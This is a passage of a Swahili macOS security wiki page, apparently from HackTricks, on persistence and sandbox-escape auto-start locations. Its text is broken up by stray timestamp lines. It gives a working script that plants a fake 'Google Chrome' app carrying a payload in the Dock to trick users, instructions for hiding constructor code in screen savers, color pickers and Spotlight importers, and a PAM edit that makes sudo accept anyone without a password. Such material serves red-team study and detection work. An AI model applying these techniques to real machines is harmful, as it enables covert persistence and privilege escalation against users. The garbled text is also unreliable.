Mipangilio hii ilihifadhiwa kwenye **plist** iliyoko katika ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** kwa muundo wa base64.
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
Sasa, jaribu kuandaa uthabiti huu bila ufikiaji wa GUI:
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
1. **Nakili `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** kwenda `/tmp` kwa kuihifadhi:
2024-02-11 02:13:58 +00:00
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2024-03-29 21:14:28 +00:00
2. **Ondoa** Matendo ya Folda uliyojiwekea tu:
2023-09-28 15:09:34 +00:00
2024-05-05 22:47:30 +00:00
< figure > < img src = "../.gitbook/assets/image (40).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:00 +00:00
Sasa tukiwa na mazingira yasiyo na kitu
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
3. Nakili faili ya nakala: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
2024-07-17 18:37:10 +00:00
4. Fungua programu ya Folder Actions Setup.app ili kutumia hii mipangilio: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 15:09:34 +00:00
{% hint style="danger" %}
2024-07-18 17:47:58 +00:00
Na hii haikufanya kazi kwangu, lakini hizi ni maagizo kutoka kwenye andiko:(
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-04-07 03:36:12 +00:00
### Vielekezo vya Dock
2023-09-28 15:09:34 +00:00
2024-04-07 03:36:12 +00:00
Andiko: [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
* Inatumika kukiuka sanduku la mchanga: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:53:00 +00:00
* Lakini unahitaji kuwa umeweka programu mbaya ndani ya mfumo
2024-02-11 02:13:58 +00:00
* Kukiuka TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
* `~/Library/Preferences/com.apple.dock.plist`
2024-03-29 21:14:28 +00:00
* **Kichocheo**: Wakati mtumiaji anapobonyeza programu ndani ya dock
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo & Utekaji
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
Programu zote zinazoonekana kwenye Dock zimetajwa ndani ya plist: ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Inawezekana kuongeza programu tu kwa:
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2024-07-18 17:47:58 +00:00
Kwa kutumia **uhandisi wa kijamii** unaweza **kujifanya kuwa mfano Google Chrome** ndani ya dock na kisha kutekeleza script yako mwenyewe:
2023-09-28 21:12:41 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-11 02:13:58 +00:00
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
2023-09-28 21:12:41 +00:00
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2024-05-05 22:47:30 +00:00
### Vichujio vya Rangi
2023-09-28 21:12:41 +00:00
2024-02-13 00:53:00 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
* Inatumika kukiuka sanduku la mchanga: [🟠 ](https://emojipedia.org/large-orange-circle )
* Hatua maalum sana inahitajika kutokea
* Utamaliza katika sanduku lingine la mchanga
* Kukiuka TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/Library/ColorPickers`
2024-05-05 22:47:30 +00:00
* Inahitaji mizizi
2024-07-17 18:37:10 +00:00
* Kichocheo: Tumia kichujio cha rangi
2023-09-28 15:09:34 +00:00
* `~/Library/ColorPickers`
2024-07-17 18:37:10 +00:00
* Kichocheo: Tumia kichujio cha rangi
2023-09-28 15:09:34 +00:00
2024-05-05 22:47:30 +00:00
#### Maelezo na Kudukua
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
**Kusanya kifurushi cha kichujio cha rangi** na nambari yako (unaweza kutumia [**hii kwa mfano** ](https://github.com/viktorstrate/color-picker-plus )) na ongeza konstrukta (kama katika [Sehemu ya Skrini ya Kuficha ](macos-auto-start-locations.md#screen-saver )) na nakili kifurushi kwa `~/Library/ColorPickers` .
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
Kisha, wakati kichujio cha rangi kinachochujwa, programu yako inapaswa pia.
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
Tafadhali kumbuka kuwa binary inayoagiza maktaba yako ina **mchanga wa kizuizi sana** : `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
[Key] com.apple.security.temporary-exception.sbpl
2024-02-11 02:13:58 +00:00
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
{% endcode %}
2024-07-18 17:47:58 +00:00
### Vifaa vya Ufungaji wa Finder
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
**Maelezo**: [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**Maelezo**: [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 20:05:35 +00:00
2024-07-17 18:37:10 +00:00
* Inatumika kukiuka sanduku la mchanga: **Hapana, kwa sababu unahitaji kutekeleza programu yako mwenyewe**
2024-02-11 02:13:58 +00:00
* Kukiuka TCC: ???
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
* Programu maalum
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
#### Maelezo & Kudukua
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Mfano wa programu na Kifaa cha Ufungaji wa Finder [**unaweza kupatikana hapa** ](https://github.com/D00MFist/InSync ).
2023-06-01 21:09:46 +00:00
2024-07-18 17:47:58 +00:00
Programu zinaweza kuwa na `Vifaa vya Ufungaji wa Finder` . Kifaa hiki kitawekwa ndani ya programu ambayo itatekelezwa. Zaidi ya hayo, ili kifaa hicho kiweze kutekeleza nambari yake lazima iwe **imesainiwa** na cheti halali cha msanidi programu wa Apple, lazima iwe **imesandukwa** (ingawa maelewano yaliyorekebishwa yanaweza kuongezwa) na lazima iwe imeandikishwa na kitu kama:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
### Screen Saver
2024-02-11 02:13:58 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
2024-07-17 18:37:10 +00:00
Maelezo: [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
* Inatumika kukiuka sanduku la mchanga: [🟠 ](https://emojipedia.org/large-orange-circle )
* Lakini utamaliza katika sanduku la maombi la kawaida
* Kukiuka TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/System/Library/Screen Savers`
2024-03-29 21:14:28 +00:00
* Inahitaji mizizi
2024-07-17 18:37:10 +00:00
* **Kichocheo**: Chagua skrini ya kupumzika
2023-09-28 15:09:34 +00:00
* `/Library/Screen Savers`
2024-03-29 21:14:28 +00:00
* Inahitaji mizizi
2024-07-17 18:37:10 +00:00
* **Kichocheo**: Chagua skrini ya kupumzika
2023-09-28 15:09:34 +00:00
* `~/Library/Screen Savers`
2024-07-17 18:37:10 +00:00
* **Kichocheo**: Chagua skrini ya kupumzika
2023-09-28 15:09:34 +00:00
2024-05-05 22:47:30 +00:00
< figure > < img src = "../.gitbook/assets/image (38).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-03-29 21:14:28 +00:00
#### Maelezo & Kudukua
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
Unda mradi mpya katika Xcode na chagua kiolezo cha kuzalisha **Screen Saver** mpya. Kisha, weka kanuni yako, kwa mfano kanuni ifuatayo ya kuzalisha magogo.
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
**Jenga** hiyo, na nakili mfuko wa `.saver` kwa ** `~/Library/Screen Savers` **. Kisha, fungua GUI ya Skrini ya Kupumzika na ikiwa tu unabonyeza juu yake, inapaswa kuzalisha magogo mengi:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2024-07-18 17:47:58 +00:00
Tafadhali tambua kwamba kwa sababu ndani ya ruhusa za binary inayoendesha hii kanuni (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) unaweza kupata ** `com.apple.security.app-sandbox` ** utakuwa **ndani ya sanduku la kawaida la programu** .
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-04-07 03:36:12 +00:00
Msimbaji wa kanuni:
2023-09-28 15:09:34 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
2024-02-11 02:13:58 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
2023-09-28 15:09:34 +00:00
}
- (void)startAnimation
{
2024-02-11 02:13:58 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)stopAnimation
{
2024-02-11 02:13:58 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)drawRect:(NSRect)rect
{
2024-02-11 02:13:58 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
2023-09-28 15:09:34 +00:00
}
- (void)animateOneFrame
{
2024-02-11 02:13:58 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
2023-09-28 15:09:34 +00:00
}
- (BOOL)hasConfigureSheet
{
2024-02-11 02:13:58 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
2023-09-28 15:09:34 +00:00
}
- (NSWindow*)configureSheet
{
2024-02-11 02:13:58 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
2023-09-28 15:09:34 +00:00
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-11 02:13:58 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
2023-09-28 15:09:34 +00:00
}
@end
```
2024-02-13 00:53:00 +00:00
### Vifaa vya Spotlight
2023-10-01 18:04:16 +00:00
2024-03-17 16:40:00 +00:00
maandishi: [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-10-01 18:04:16 +00:00
2024-02-11 02:13:58 +00:00
* Inatumika kukiuka sanduku la mchanga: [🟠 ](https://emojipedia.org/large-orange-circle )
* Lakini utamaliza katika sanduku la programu
* Kukiuka TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2024-07-18 17:47:58 +00:00
* Sanduku la mchanga linaonekana kuwa na mipaka sana
2023-10-01 18:04:16 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-10-01 18:04:16 +00:00
* `~/Library/Spotlight/`
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Faili mpya yenye kificho kinachosimamiwa na kifaa cha Spotlight inaundwa.
2023-10-01 18:04:16 +00:00
* `/Library/Spotlight/`
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Faili mpya yenye kificho kinachosimamiwa na kifaa cha Spotlight inaundwa.
2024-07-17 18:37:10 +00:00
* Inahitaji mizizi
2023-10-01 18:04:16 +00:00
* `/System/Library/Spotlight/`
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Faili mpya yenye kificho kinachosimamiwa na kifaa cha Spotlight inaundwa.
2024-07-17 18:37:10 +00:00
* Inahitaji mizizi
2023-10-01 18:04:16 +00:00
* `Some.app/Contents/Library/Spotlight/`
2024-07-18 17:47:58 +00:00
* **Kichocheo**: Faili mpya yenye kificho kinachosimamiwa na kifaa cha Spotlight inaundwa.
2024-07-17 18:37:10 +00:00
* Programu mpya inahitajika
2023-10-01 18:04:16 +00:00
2024-03-29 21:14:28 +00:00
#### Maelezo & Utekaji
2023-10-01 18:04:16 +00:00
2024-07-17 18:37:10 +00:00
Spotlight ni kipengele cha utaftaji kilichojengwa ndani ya macOS, kimeundwa kutoa watumiaji na **upatikanaji wa haraka na wa kina wa data kwenye kompyuta zao** .\
2024-02-13 00:53:00 +00:00
Ili kurahisisha uwezo huu wa utaftaji wa haraka, Spotlight inaendeleza **hifadhidata ya kipekee** na kuunda indeksi kwa **kuchambua faili nyingi** , kuruhusu utaftaji wa haraka kupitia majina ya faili na maudhui yao.
2023-10-01 18:04:16 +00:00
2024-07-18 17:47:58 +00:00
Mfumo wa msingi wa Spotlight unajumuisha mchakato wa kati unaoitwa 'mds', ambao unamaanisha ** 'metadata server'**. Mchakato huu unaratibu huduma nzima ya Spotlight. Kama nyongeza, kuna 'mdworker' daemons kadhaa ambao hutekeleza majukumu mbalimbali ya matengenezo, kama vile kuunda indeksi za aina tofauti za faili (`ps -ef | grep mdworker`). Majukumu haya yanawezekana kupitia vifaa vya kuingiza vya Spotlight, au ** "mabandiko ya .mdimporter"**, ambayo huwezesha Spotlight kuelewa na kuunda indeksi ya maudhui katika anuwai ya muundo wa faili.
2023-10-01 18:04:16 +00:00
2024-07-18 17:47:58 +00:00
Vifaa au **mabandiko ya .mdimporter** yako katika maeneo yaliyotajwa hapo awali na ikiwa mabandiko mapya yanaonekana yanapakiwa ndani ya dakika (hakuna haja ya kuanzisha upya huduma yoyote). Mabandiko haya lazima yaeleze ni **aina gani ya faili na nyongeza wanaweza kusimamia** , kwa njia hii, Spotlight itavitumia wakati faili mpya yenye nyongeza iliyotajwa inapoundwa.
2023-10-01 18:04:16 +00:00
2024-05-05 22:47:30 +00:00
Inawezekana **kupata `mdimporters` zote** zilizopakiwa kwa kukimbia:
2023-10-01 18:04:16 +00:00
```bash
mdimport -L
Paths: id(501) (
2024-02-11 02:13:58 +00:00
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
2023-10-01 18:04:16 +00:00
```
2024-05-05 22:47:30 +00:00
Na kwa mfano ** /Library/Spotlight/iBooksAuthor.mdimporter** hutumika kuchambua aina hizi za faili (nyongeza `.iba` na `.book` miongoni mwa zingine):
2023-10-01 18:04:16 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
2024-02-11 02:13:58 +00:00
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
2023-10-01 18:04:16 +00:00
[...]
2024-02-11 02:13:58 +00:00
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
2023-10-01 18:04:16 +00:00
[...]
```
{% hint style="danger" %}
2024-07-18 17:47:58 +00:00
Ikiwa utachunguza Plist ya `mdimporter` nyingine huenda usipate kuingia ** `UTTypeConformsTo` **. Hii ni kwa sababu ni _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) iliyojengwa ndani na haitaji kutaja nyongeza.
2023-10-01 18:04:16 +00:00
2024-07-18 17:47:58 +00:00
Zaidi ya hayo, programu-jalizi za mfumo wa msingi daima zinapewa kipaumbele, hivyo mshambuliaji anaweza kupata ufikivu kwenye faili ambazo vinginevyo hazijachambuliwa na `mdimporters` za Apple.
2023-10-01 18:04:16 +00:00
{% endhint %}
2024-07-17 18:37:10 +00:00
Ili kuunda chombo chako cha kuingiza unaweza kuanza na mradi huu: [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) na kisha badilisha jina, ** `CFBundleDocumentTypes` ** na ongeza ** `UTImportedTypeDeclarations` ** ili iweze kusaidia nyongeza unayotaka kusaidia na uwaonyeshe katika ** `schema.xml` **.\
2024-07-18 17:47:58 +00:00
Kisha **badilisha** nambari ya kazi ** `GetMetadataForFile` ** ili kutekeleza mzigo wako wakati faili yenye nyongeza iliyosindika inapoundwa.
2023-10-01 18:04:16 +00:00
2024-07-18 17:47:58 +00:00
Hatimaye **jenga na nakili kuingiza mpya yako `.mdimporter`** kwa moja ya maeneo matatu ya awali na unaweza kuangalia wakati wowote inapopakiwa **kwa kufuatilia magogo** au kwa kuangalia ** `mdimport -L.` **
2023-10-01 18:04:16 +00:00
2024-02-13 00:53:00 +00:00
### ~~Pane ya Mapendeleo~~
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-05-05 22:47:30 +00:00
Haionekani kama hii inafanya kazi tena.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
* Inatumika kwa kuzidi sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-11 02:13:58 +00:00
* Inahitaji hatua maalum ya mtumiaji
* Kizuizi cha TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2023-06-01 21:09:46 +00:00
2024-02-11 02:13:58 +00:00
#### Maelezo
2023-06-01 21:09:46 +00:00
2024-05-05 22:47:30 +00:00
Haionekani kama hii inafanya kazi tena.
2023-06-01 21:09:46 +00:00
2024-02-13 00:53:00 +00:00
## Kizuizi cha Mchanga cha Mzizi
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-07-18 17:47:58 +00:00
Hapa unaweza kupata maeneo ya kuanzia yanayofaa kwa **kuzidi sandbox** ambayo inakuruhusu tu kutekeleza kitu kwa **kuandika kwenye faili** ukiwa **mzizi** na/au kuhitaji **hali nyingine za ajabu.**
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-03-29 21:14:28 +00:00
### Kipindi
2023-06-01 21:09:46 +00:00
2024-02-13 00:53:00 +00:00
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-26 23:39:35 +00:00
2024-07-17 18:37:10 +00:00
* Inatumika kwa kuzidi sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-11 02:13:58 +00:00
* Lakini unahitaji kuwa mzizi
* Kizuizi cha TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-26 23:39:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-26 23:39:35 +00:00
2023-09-28 20:05:35 +00:00
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2024-02-13 00:53:00 +00:00
* Inahitaji kuwa mzizi
* **Kichocheo**: Wakati unapofika
2024-02-11 02:13:58 +00:00
* `/etc/daily.local` , `/etc/weekly.local` au `/etc/monthly.local`
2024-02-13 00:53:00 +00:00
* Inahitaji kuwa mzizi
* **Kichocheo**: Wakati unapofika
2023-09-28 15:09:34 +00:00
2024-02-13 00:53:00 +00:00
#### Maelezo & Utekaji
2023-09-28 15:09:34 +00:00
2024-07-18 17:47:58 +00:00
Skripti za kipindi (**`/etc/periodic`**) zinatekelezwa kwa sababu ya **daemons za kuanzisha** zilizowekwa katika `/System/Library/LaunchDaemons/com.apple.periodic*` . Tafadhali kumbuka kuwa skripti zilizohifadhiwa katika `/etc/periodic/` zinatekelezwa kama **mmiliki wa faili,** hivyo haitafanya kazi kwa kubadilisha haki za mamlaka.
2023-09-28 20:05:35 +00:00
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
```
2024-04-07 03:36:12 +00:00
{% endcode %}
2024-05-05 22:47:30 +00:00
Kuna hati zingine za kipindi ambazo zitatekelezwa zilizoonyeshwa katika ** `/etc/defaults/periodic.conf` **:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-06-01 21:09:46 +00:00
```
2024-02-13 00:53:00 +00:00
Ikiwa utafanikiwa kuandika faili yoyote kati ya `/etc/daily.local` , `/etc/weekly.local` au `/etc/monthly.local` itakuwa **kutekelezwa mapema au baadaye** .
2023-09-28 15:09:34 +00:00
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-05-05 22:47:30 +00:00
Tafadhali kumbuka kwamba script ya kipindi itatekelezwa **kama mmiliki wa script** . Kwa hivyo ikiwa mtumiaji wa kawaida anamiliki script, itatekelezwa kama mtumiaji huyo (hii inaweza kuzuia mashambulizi ya uongezaji wa mamlaka).
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-09-28 20:05:35 +00:00
### PAM
2023-09-28 15:09:34 +00:00
2024-02-11 02:13:58 +00:00
Maelezo: [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2023-09-28 15:09:34 +00:00
2024-07-17 18:37:10 +00:00
* Inatumika kwa kudukua sanduku la mchanga: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-05-05 22:47:30 +00:00
* Lakini unahitaji kuwa na ruhusa ya mizizi (root)
2024-07-18 17:47:58 +00:00
* Kudukua TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-11 02:13:58 +00:00
#### Mahali
2023-09-28 20:05:35 +00:00
2024-05-05 22:47:30 +00:00
* Mizizi (root) inahitajika daima
2023-09-28 20:05:35 +00:00
2024-07-17 18:37:10 +00:00
#### Maelezo na Udukuzi
2023-09-28 20:05:35 +00:00
2024-07-18 17:47:58 +00:00
Kwa kuwa PAM inazingatia zaidi **udumu** na zisizo za virusi kuliko utekelezaji rahisi ndani ya macOS, blogi hii haitatoa maelezo ya kina, **soma maelezo kuelewa mbinu hii vizuri** .
2023-11-02 16:52:21 +00:00
2024-02-23 16:48:14 +00:00
Angalia moduli za PAM na:
2023-11-02 16:52:21 +00:00
```bash
ls -l /etc/pam.d
```
2024-07-18 17:47:58 +00:00
### Kifanyaji cha kudumu/kupandisha mamlaka kwa kutumia PAM ni rahisi kama kubadilisha moduli /etc/pam.d/sudo kwa kuongeza mwanzoni mwa mstari:
2023-11-02 16:52:21 +00:00
```bash
auth sufficient pam_permit.so
```
2024-02-13 00:53:00 +00:00
Hivyo itaonekana **kama** hivi:
2023-11-02 16:52:21 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
